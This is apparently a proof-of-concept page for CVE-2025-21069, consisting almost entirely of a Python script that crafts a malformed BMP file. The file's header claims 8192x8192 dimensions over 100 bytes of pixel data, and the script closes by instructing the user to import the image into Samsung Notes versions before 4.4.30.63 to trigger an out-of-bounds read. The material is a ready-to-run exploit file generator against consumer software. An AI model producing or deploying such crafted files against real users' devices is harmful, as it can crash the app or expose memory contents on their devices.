CVE-2025-21069 Samsung Notes图像解析越界读取漏洞

# CVE-2025-21069 - Samsung Notes OOB Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in Samsung Notes image parsing by crafting a malicious image file. import struct import os def craft_malicious_image(output_path): """ Create a malformed image file that triggers OOB read in Samsung Notes. The image header claims a large dimension while the actual pixel data is much smaller, causing the parser to read beyond allocated buffer. """ # BMP file format with manipulated header # File header (14 bytes) file_header = struct.pack('<2sIHHI', b'BM', 0, 0, 0, 54) # DIB header (40 bytes) - claiming large dimensions # width=8192, height=8192 (much larger than actual data) dib_header = struct.pack('<IiiHHIIiiII', 40, # header size 8192, # width (claimed - triggers OOB) 8192, # height (claimed - triggers OOB) 1, # color planes 24, # bits per pixel 0, # compression (none) 0, # image size (can be 0 for uncompressed) 0, # x pixels per meter 0, # y pixels per meter 0, # colors in palette 0 # important colors ) # Minimal actual pixel data (much smaller than claimed dimensions) # Only provide a small amount of data to trigger OOB read pixel_data = b'\x00' * 100 # Combine all parts malicious_image = file_header + dib_header + pixel_data with open(output_path, 'wb') as f: f.write(malicious_image) print(f"[*] Malicious image created: {output_path}") print(f"[*] Claimed dimensions: 8192x8192") print(f"[*] Actual pixel data: {len(pixel_data)} bytes") print(f"[*] When Samsung Notes parses this image, it will attempt to") print(f"[*] read 8192*8192*3 bytes from a much smaller buffer -> OOB read") if __name__ == '__main__': output = 'cve_2025_21069_malicious_image.bmp' craft_malicious_image(output) print(f"\n[+] PoC generated successfully.") print(f"[+] Import this image into Samsung Notes < 4.4.30.63 to trigger.")